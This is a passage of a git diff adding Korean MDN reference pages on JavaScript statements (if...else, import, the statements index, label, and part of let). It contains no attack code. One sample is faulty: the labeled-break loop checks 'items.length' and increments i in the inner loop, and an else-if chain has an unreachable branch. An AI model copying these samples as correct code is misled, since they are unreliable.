+<pre class="eval">if (<em>조건1</em>)
+   <em>명령문1</em>
+else
+   if (<em>조건2</em>)
+      <em>명령문2</em>
+   else
+      if (<em>조건3</em>)
+...
+</pre>
+
+<p>하나의 절에서 여러개의 명령문들을 실행하려면,   그 명령문들을 그룹화하는 블록 명령문 ({ ... }) 블럭구문을 사용한다.<br>
+ 일반적으로, 블럭구문을 항상 사용하는 것은 좋은 연습입니다. 특히 중첩된 if 문과 관련되어<br>
+ 있는 코드안에서 사용하면 더욱 좋습니다.</p>
+
+<pre class="eval">if (조건) {
+   <em>명령문들1</em>
+} else {
+   <em>명령문들2</em>
+}
+</pre>
+
+<p>원시 불리언 값인 true (참) 과 false (거짓) 을 불리언 객체의 truthiness (참으로 보이는 것) 과 falsiness (거짓으로 보이는 것)으로 혼동하면 안된다. false, undefined, null, 0, NaN, 또는 빈 스트링 ("") 이 아닌 모든 값, 그리고 false 값인 불리언 객체를 포함하는 모든 객체는 조건으로 사용될 때 <a href="https://developer.mozilla.org/ko/docs/Glossary/Truthy">truthy</a> 로 간주된다. 예:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // 이 조건은 참으로 보이는 것 (truthy) 이다.
+</pre>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="if...else_사용하기"><code>if...else</code> 사용하기</h3>
+
+<pre class="brush: js">if (cipher_char === from_char) {
+   result = result + to_char;
+   x++;
+} else {
+   result = result + clear_char;
+}
+</pre>
+
+<h3 id="else_if_사용하기"><code>else if</code> 사용하기</h3>
+
+<p>자바스크립트에는 elseif 구문이 없다. 그러나, else if  를 사용할 수 있다.</p>
+
+<pre class="brush: js">if (x &gt; 5) {
+
+} else if (x &gt; 50) {
+
+} else {
+
+}</pre>
+
+<h3 id="조건식의_값을_지정하기">조건식의 값을 지정하기</h3>
+
+<p>조건식을 단순하게 지정하는 것은 좋지 않습니다.<br>
+ 왜냐하면,  코드를 흘깃 보면 값을 지정한것을 평등한것으로  혼동할 수 있기 때문입니다. 예를들어, 다음코드를 사용하지 마세요:</p>
+
+<pre class="brush: js example-bad">if (x = y) {
+   /* do the right thing */
+}
+</pre>
+
+<p>당신이 조건식에 값의 지정을 해야할 경우, 일반적인 관행은 그 할당된 것 주위에 추가 괄호를 넣어야 합니다. 예를들면:</p>
+
+<pre class="brush: js example-good">if ((x = y)) {
+   /* do the right thing */
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-if-statement', 'if statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-if-statement', 'if statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.if_else")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">삼항 조건 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/import/index.html b/files/ko/web/javascript/reference/statements/import/index.html
new file mode 100644
index 0000000000..ce3a1536cb
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/import/index.html
@@ -0,0 +1,156 @@
+---
+title: import
+slug: Web/JavaScript/Reference/Statements/import
+tags:
+  - ECMAScript6
+  - Modules
+  - import
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>정적 <strong><code>import</code></strong> 문은 다른 모듈에서 내보낸 바인딩을 가져올 때 사용합니다.</p>
+
+<p>가져오는 모듈은 <code>"use strict"</code>의 존재 유무와 상관없이 무조건 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>입니다. HTML 안에 작성한 스크립트에서는 <code>import</code>를 사용할 수 없습니다.</p>
+
+<p>함수형 구문을 가진 동적 <strong><code>import()</code></strong>도 있으며, <code>type="module"</code>을 필요로 하지 않습니다.</p>
+
+<p>{{htmlelement("script")}} 태그의 <code>nomodule</code> 속성을 사용해 하위호환성을 유지할 수 있습니다.</p>
+
+<p>동적 가져오기는 모듈을 조건적으로 가져오고 싶거나, 필요할 때에만 가져올 때 유용합니다. 반면 초기 의존성을 불러올 때엔 정적 가져오기가 더 좋고, 정적 코드 분석 도구와 {{glossary("Tree shaking", "트리 셰이킹")}}을 적용하기 쉽습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">import defaultExport from "module-name";
+import * as name from "module-name";
+import { export1 } from "module-name";
+import { export1 as alias1 } from "module-name";
+import { export1 , export2 } from "module-name";
+import { foo , bar } from "module-name/path/to/specific/un-exported/file";
+import { export1 , export2 as alias2 , [...] } from "module-name";
+import defaultExport, { export1 [ , [...] ] } from "module-name";
+import defaultExport, * as name from "module-name";
+import "module-name";
+var promise = import("module-name");</pre>
+
+<dl>
+ <dt><code>defaultExport</code></dt>
+ <dd>모듈에서 가져온 기본 내보내기를 가리킬 이름.</dd>
+ <dt><code>module-name</code></dt>
+ <dd>가져올 대상 모듈. 보통, 모듈을 담은 <code>.js</code> 파일로의 절대 또는 상대 경로입니다. 번들러에 따라 확장자를 허용하거나, 필요로 할 수도 있으므로 작업 환경을 확인하세요. 따옴표와 쌍따옴표 문자열만 사용 가능합니다.</dd>
+ <dt><code>name</code></dt>
+ <dd>가져온 대상에 접근할 때 일종의 이름공간으로 사용할, 모듈 객체의 이름.</dd>
+ <dt><code>exportN</code></dt>
+ <dd>내보낸 대상 중 가져올 것의 이름.</dd>
+ <dt><code>aliasN</code></dt>
+ <dd>가져온 유명 내보내기를 가리킬 이름.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>name</code> 파라미터는 export 되는 멤버를 받을 오브젝트의 이름입니다. <code>member</code> 파라미터는 각각의 멤버를 지정하지만, <code>name</code> 파라미터는 모두를 가져옵니다. 모듈에서 <font face="Courier New, Andale Mono, monospace">name</font> 은 멤버 대신 하나의 default 파라미터를 통해 export 하는 경우에도 동작할 수 있습니다. 다음의 명확한 예제 문법을 살펴봅시다.</p>
+
+<p>모듈 전체를 가져옵니다. export 한 모든 것들을 현재 범위(스크립트 파일 하나로 구분되는 모듈 범위) 내에 <code>myModule</code> 로 바인딩되어 들어갑니다.</p>
+
+<pre class="brush: js">import * as <em>myModule</em> from "my-module.js";
+</pre>
+
+<p>모듈에서 하나의 멤버만 가져옵니다. 현재 범위 내에 <code>myMember</code> 이 들어갑니다.</p>
+
+<pre class="brush: js">import {myMember} from "my-module.js";</pre>
+
+<p>모듈에서 여러 멤버들을 가져옵니다. 현재 범위 내에 <code>foo</code> 와 <code>bar</code> 이 들어갑니다.</p>
+
+<pre class="brush: js">import {foo, bar} from "my-module.js";</pre>
+
+<p>멤버를 가져올 때 좀 더 편리한 별명을 지정해줍니다. 현재 범위 내에 <code>shortName</code> 이 들어갑니다.</p>
+
+<pre class="brush: js">import {reallyReallyLongModuleMemberName as shortName} from "my-module.js";</pre>
+
+<p>모듈에서 여러 멤버들을 편리한 별명을 지정하며 가져옵니다.</p>
+
+<pre>import {reallyReallyLongModuleMemberName as shortName, anotherLongModuleName as short} from "my-module.js";</pre>
+
+<p>어떠한 바인딩 없이 모듈 전체의 사이드 이펙트만 가져옵니다.</p>
+
+<pre class="brush: js">import "my-module.js";</pre>
+
+<h3 id="기본값_가져오기">기본값 가져오기</h3>
+
+<p>default export 를 통해 내보낸 것을 기본값으로 가져올 수 있습니다. (object, function, class 등). export 와 상반된 <code>import</code> 명령어를 통해 기본값을 가져오는 것이 가능합니다.</p>
+
+<p>기본값으로 바로 가져오는 가장 간단한 버전:</p>
+
+<pre class="brush: js">import myModule from "my-module.js";</pre>
+
+<p>위와 함께 기본 구문도 같이 사용할 수 있습니다 (namespace 가져오기 또는 이름 지정하여 가져오기). 이러한 경우, 기본값 가져오는 부분을 먼저 선언해야 할 것입니다. 예를 들어:</p>
+
+<pre class="brush: js">import myDefault, * as myModule from "my-module.js";
+// myModule used as a namespace</pre>
+
+<p>또는</p>
+
+<pre class="brush: js">import myDefault, {foo, bar} from "my-module.js";
+// specific, named imports
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>AJAX JSON 리퀘스트 처리를 돕는 보조 파일을 가져옵니다.</p>
+
+<pre class="brush: js; highlight: [14]">// --file.js--
+function getJSON(url, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+    callback(this.responseText)
+  };
+  xhr.open("GET", url, true);
+  xhr.send();
+}
+
+export function getUsefulContents(url, callback) {
+  getJSON(url, data =&gt; callback(JSON.parse(data)));
+}
+
+// --main.js--
+import { getUsefulContents } from "file.js";
+getUsefulContents("http://www.example.com", data =&gt; {
+  doSomethingUseful(data);
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li><a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/index.html b/files/ko/web/javascript/reference/statements/index.html
new file mode 100644
index 0000000000..cd83b9f1c0
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/index.html
@@ -0,0 +1,143 @@
+---
+title: 문 및 선언
+slug: Web/JavaScript/Reference/Statements
+tags:
+  - JavaScript
+  - Reference
+  - statements
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>JavaScript 응용 프로그램은 적절한 구문을 갖는 문으로 구성됩니다. 한 문이 여러 줄에 걸칠 수 있습니다. 여러 문은 각 문이 세미콜론으로 구분된 경우 한 줄에 나올 수 있습니다. 이는 키워드 하나가 아니라, 키워드 그룹입니다.</p>
+
+<h2 id="항목별_문_및_선언">항목별 문 및 선언</h2>
+
+<p>알파벳순 목록은 왼쪽 사이드바를 보세요.</p>
+
+<h3 id="흐름_제어">흐름 제어</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/block", "Block")}}</dt>
+ <dd>블록문은 0개 이상의 문을 묶을 때 쓰입니다. 블록은 중괄호 한 쌍으로 구분됩니다.</dd>
+ <dt>{{jsxref("Statements/break", "break")}}</dt>
+ <dd>현재 루프, <code>switch</code> 또는 <code>label</code> 문을 종료하고 프로그램 제어를 종료된 문의 다음 문으로 넘겨줍니다.</dd>
+ <dt>{{jsxref("Statements/continue", "continue")}}</dt>
+ <dd>현재 또는 레이블 달린 루프의 현재 반복 중인 문의 실행을 종료하고 루프의 실행은 다음 반복으로 이어집니다.</dd>
+ <dt>{{jsxref("Statements/Empty", "empty")}}</dt>
+ <dd>empty 문은 내용이 없는 빈 문을 제공하기 위해 사용됩니다, 비록 JavaScript 구문이 문을 기대할 것이지만.</dd>
+ <dt>{{jsxref("Statements/if...else", "if...else")}}</dt>
+ <dd>지정된 조건이 true면 문을 실행. 조건이 false인 경우, 다른 문이 실행될 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/switch", "switch")}}</dt>
+ <dd>식의 값이 case 절과 일치하는지 식을 평가하고 case 절과 관련된 문을 실행합니다.</dd>
+ <dt>{{jsxref("Statements/throw", "throw")}}</dt>
+ <dd>사용자 정의 예외가 발생합니다.</dd>
+ <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt>
+ <dd>시도(try)할 문 블록을 표시하고 예외가 발생되어야 하는 응답을 지정합니다.</dd>
+</dl>
+
+<h3 id="선언">선언</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>변수를 선언합니다, 변수를 값으로 초기화할 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>블록 범위 지역 변수를 선언합니다, 변수를 값으로 초기화할 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>읽기 전용 유명(named) 상수를 선언합니다.</dd>
+</dl>
+
+<h3 id="함수_및_클래스">함수 및 클래스</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/function", "function")}}</dt>
+ <dd>지정된 매개변수를 갖는 함수를 선언합니다.</dd>
+ <dt>{{jsxref("Statements/function*", "function*")}}</dt>
+ <dd><a href="/ko/docs/Web/JavaScript/Guide/The_Iterator_protocol" title="iterators">반복기</a>를 더 쉽게 작성할 수 있게 하는 생성기 함수.</dd>
+ <dt>{{jsxref("Statements/return", "return")}}</dt>
+ <dd>함수에 의해 반환되는 값을 지정합니다.</dd>
+ <dt>{{jsxref("Statements/class", "class")}}</dt>
+ <dd>클래스를 선언합니다.</dd>
+</dl>
+
+<h3 id="반복">반복</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/do...while", "do...while")}}</dt>
+ <dd>테스트 조건이 거짓으로 평가될 때까지 지정된 문을 실행하는 루프를 만듭니다. 조건은 문을 실행한 후 평가됩니다, 그 결과 지정된 문은 적어도 한 번 실행됩니다.</dd>
+ <dt>{{jsxref("Statements/for", "for")}}</dt>
+ <dd>괄호로 묶이고 세미콜론으로 구분된 선택사항 식 셋으로 구성된 루프를 만듭니다, 루프에서 실행되는 문이 뒤따릅니다.</dd>
+ <dt>{{jsxref("Statements/for_each...in", "for each...in")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>객체의 모든 속성값에 대해 지정된 변수를 반복합니다. 각 개별 속성에 대해, 지정된 문이 실행됩니다.</dd>
+ <dt>{{jsxref("Statements/for...in", "for...in")}}</dt>
+ <dd>임의의 순서로 객체의 열거 속성을 반복합니다. 각 개별 속성에 대해, 문은 실행될 수 있습니다.</dd>
+ <dt>{{jsxref("Statements/for...of", "for...of")}}</dt>
+ <dd>반복 가능한 객체 ({{jsxref("Global_Objects/Array","배열","","true")}}, 배열 같은 객체, <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators">반복기 및 생성기</a> 포함) 를 반복합니다, 각 개별 속성값에 대해 실행되는 문을 가진 사용자 정의 반복 후크를 호출하는.</dd>
+ <dt>{{jsxref("Statements/while", "while")}}</dt>
+ <dd>테스트 조건이 true로 평가되는 한 지정된 문을 실행하는 루프를 만듭니다. 조건은 문을 실행하기 전에 평가됩니다.</dd>
+</dl>
+
+<h3 id="기타">기타</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/debugger", "debugger")}}</dt>
+ <dd>이용 가능한 디버깅 기능을 호출합니다. 이용 가능한 기능이 없는 경우, 이 문은 아무 효과가 없습니다.</dd>
+ <dt>{{jsxref("Statements/export", "export")}}</dt>
+ <dd>외부 모듈, 다른 스크립트에 가져올(import) 수 있도록 함수를 내보내(export)는데 사용됩니다.</dd>
+ <dt>{{jsxref("Statements/import", "import")}}</dt>
+ <dd>외부 모듈, 다른 스크립트에서 내보낸 함수를 가져오는데 사용됩니다.</dd>
+ <dt>{{jsxref("Statements/label", "label")}}</dt>
+ <dd><code>break</code> 또는 <code>continue</code> 문을 사용하여 참조할 수 있는 식별자 있는 문을 제공합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Statements/with", "with")}} {{deprecated_inline}}</dt>
+ <dd>문의 스코프 체인을 확장합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>신규: function*, let, for...of, yield, class</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators">연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/label/index.html b/files/ko/web/javascript/reference/statements/label/index.html
new file mode 100644
index 0000000000..49d6054031
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/label/index.html
@@ -0,0 +1,241 @@
+---
+title: label
+slug: Web/JavaScript/Reference/Statements/label
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>레이블 구문</strong>은 {{jsxref("Statements/break", "break")}}나 {{jsxref("Statements/continue", "continue")}} 구문과 함께 사용할 수 있다. 원하는 식별자로 구문 앞에 레이블을 추가할 수 있다.</p>
+
+<div class="note">
+<p>레이블을 붙인 반복문이나 블록가 자주 사용되는 것은 아니다. 반복문으로 점프하는 대신에 함수를 호출할 수도 있다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>label</em> :
+   <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>자바스크립트에서 사용할 수 있는 식별자면 모두 가능하다.</dd>
+ <dt><code>statement</code></dt>
+ <dd>구문. break는 모든 레이블 구문에서 사용될 수 있으며, continue는 반복 레이블 구문에서만 사용할 수 있다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>반복문에 레이블을 붙이고, break나 continue 구문을 사용해 반복문의 어느 위치에서 작업을 멈추고 어느 위치에서 다시 수행할지를 알려줄 수 있다.</p>
+
+<p>자바스크립트에는 goto 구문이 없다는 것에 주의. break나 continue에서만 레이블을 사용할 수 있다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>  코드에서 "let"을 레이블 이름으로 사용할 수 없다. {{jsxref("SyntaxError")}}를 발생시킨다. (let은 허용되지 않는 식별자이다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for문에서_레이블_continue_사용하기">for문에서 레이블 continue 사용하기</h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) {      //첫번째 for문은 "loop1" 레이블을 붙였다.
+   loop2:
+   for (j = 0; j &lt; 3; j++) {   //두번째 for문은 "loop2" 레이블을 붙였다.
+      if (i === 1 &amp;&amp; j === 1) {
+         continue loop1;
+      }
+      console.log('i = ' + i + ', j = ' + j);
+   }
+}
+
+// 출력 결과:
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+//   "i = 2, j = 0"
+//   "i = 2, j = 1"
+//   "i = 2, j = 2"
+// 다음 두 경우를 어떻게 스킵하는지 주목 : "i = 1, j = 1", "i = 1, j = 2"
+</pre>
+
+<h3 id="레이블_continue문_사용하기">레이블 continue문 사용하기</h3>
+
+<p>items, tests 배열을 보면 이 예제는 tests를 통과하는 items의 수를 세고 있다.</p>
+
+<pre class="brush: js">var itemsPassed = 0;
+var i, j;
+
+top:
+for (i = 0; i &lt; items.length; i++) {
+  for (j = 0; j &lt; tests.length; j++) {
+    if (!tests[j].pass(items[i])) {
+      continue top;
+    }
+  }
+
+  itemsPassed++;
+}</pre>
+
+<h3 id="for문에_레이블_break문_사용하기">for문에 레이블 break문 사용하기</h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) {      //The first for statement is labeled "loop1"
+   loop2:
+   for (j = 0; j &lt; 3; j++) {   //The second for statement is labeled "loop2"
+      if (i === 1 &amp;&amp; j === 1) {
+         break loop1;
+      }
+      console.log('i = ' + i + ', j = ' + j);
+   }
+}
+
+// Output is:
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+// Notice the difference with the previous continue example</pre>
+
+<h3 id="레이블_break문_사용하기">레이블 break문 사용하기</h3>
+
+<p>items, tests 배열을 보면, 다음 예제는 items가 tests를 모두 통과하는지 판단한다.</p>
+
+<pre class="brush: js">var allPass = true;
+var i, j;
+
+top:
+for (i = 0; items.length; i++)
+  for (j = 0; j &lt; tests.length; i++)
+    if (!tests[j].pass(items[i])) {
+      allPass = false;
+      break top;
+    }</pre>
+
+<h3 id="레이블_붙인_블록에_break_사용하기">레이블 붙인 블록에 break 사용하기</h3>
+
+<p>간단한 블록에도 레이블을 사용할 수 있지만, 반복문 아닌 레이블에는 break문만 사용할 수 있다.</p>
+
+<pre class="brush: js">foo: {
+  console.log('face');
+  break foo;
+  console.log('this will not be executed');
+}
+console.log('swap');
+
+// 로그는 이렇게 출력된다:
+
+// "face"
+// "swap </pre>
+
+<h3 id="레이블_붙인_함수_선언문">레이블 붙인 함수 선언문</h3>
+
+<p>ECMAScript 2015에서, 레이블 붙인 함수 선언문은 <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-labelled-function-declarations">web compatibility annex of the specification</a>의 non-strict 모드에서 표준화되어 있다.</p>
+
+<pre class="brush: js">L: function F() {}</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>  에서는 {{jsxref("SyntaxError")}}를 발생시킨다.</p>
+
+<pre class="brush: js">'use strict';
+L: function F() {}
+// SyntaxError: functions cannot be labelled</pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generator functions</a>는 strict code도 non-strict code에서도 레이블 붙일 수 없다.</p>
+
+<pre class="brush: js">L: function* F() {}
+// SyntaxError: generator functions cannot be labelled
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/let/index.html b/files/ko/web/javascript/reference/statements/let/index.html
new file mode 100644
index 0000000000..3d02a34fba
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/let/index.html
@@ -0,0 +1,246 @@
+---
+title: let
+slug: Web/JavaScript/Reference/Statements/let
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>let</code></strong> 구문은 블록 유효 범위를 갖는 지역 변수를 선언하며, 선언과 동시에 임의의 값으로 초기화할 수도 있다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-let.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">let var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]];</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>var1</code>, <code>var2</code>, …, <code>varN</code></dt>
+ <dd>변수명. 유효한 식별자이면 가능하다.</dd>
+ <dt><code>value1</code>, <code>value2</code>, …, <code>valueN</code></dt>
+ <dd>변수의 초기값. 유효한 표현식이면 가능하다.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><strong><code>let</code></strong>은 변수가 선언된 블록, 구문 또는 표현식 내에서만 유효한 변수를 선언한다. 이는 <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong> 키워드가 블록 범위를 무시하고 전역 변수나 함수 지역 변수로 선언되는 것과 다른 점이다.</p>
+
+<p>"<strong>let</strong>"을 사용해야 하는 이유에 대해서는 이어지는 <a href="https://stackoverflow.com/questions/37916940/why-was-the-name-let-chosen-for-block-scoped-variable-declarations-in-javascri">링크</a>를 참조하시오.</p>
+
+<h3 id="유효_범위_규칙">유효 범위 규칙</h3>
+
+<p><strong><code>let</code></strong> 으로 선언된 변수는 변수가 선언된 블록 내에서만 유효하며, 당연하지만 하위 블록에서도 유효하다. 이러한 점에서는 <strong><code>let</code></strong> 과 <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>는 유사하지만, <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>는 함수 블록 이외의 블록은 무시하고 선언된다는 점이 다르다.</p>
+
+<pre class="brush:js">function varTest() {
+  var x = 1;
+  if (true) {
+    var x = 2;  // 상위 블록과 같은 변수!
+    console.log(x);  // 2
+  }
+  console.log(x);  // 2
+}
+
+function letTest() {
+  let x = 1;
+  if (true) {
+    let x = 2;  // 상위 블록과 다른 변수
+    console.log(x);  // 2
+  }
+  console.log(x);  // 1
+}
+</pre>
+
+<p id="Scoping_rules">프로그램이나 함수의 최상위에서는 <strong><code>let</code></strong>과 <strong><a href="/en-US/docs/JavaScript/Reference/Statements/var"><code>var</code></a></strong>은 서로 다르게 행동한다. <strong><code>let</code></strong>은 전역 객체의 속성 값을 생성하지 않는다.</p>
+
+<pre class="brush:js">var x = 'global';
+let y = 'global';
+console.log(this.x); // "global" 전역 객체의 속성 x를 생성
+console.log(this.y); // undefined 전역 객체의 속성 y를 생성하지 않음
+</pre>
+
+<h3 id="비공개_변수_모사">비공개 변수 모사</h3>
+
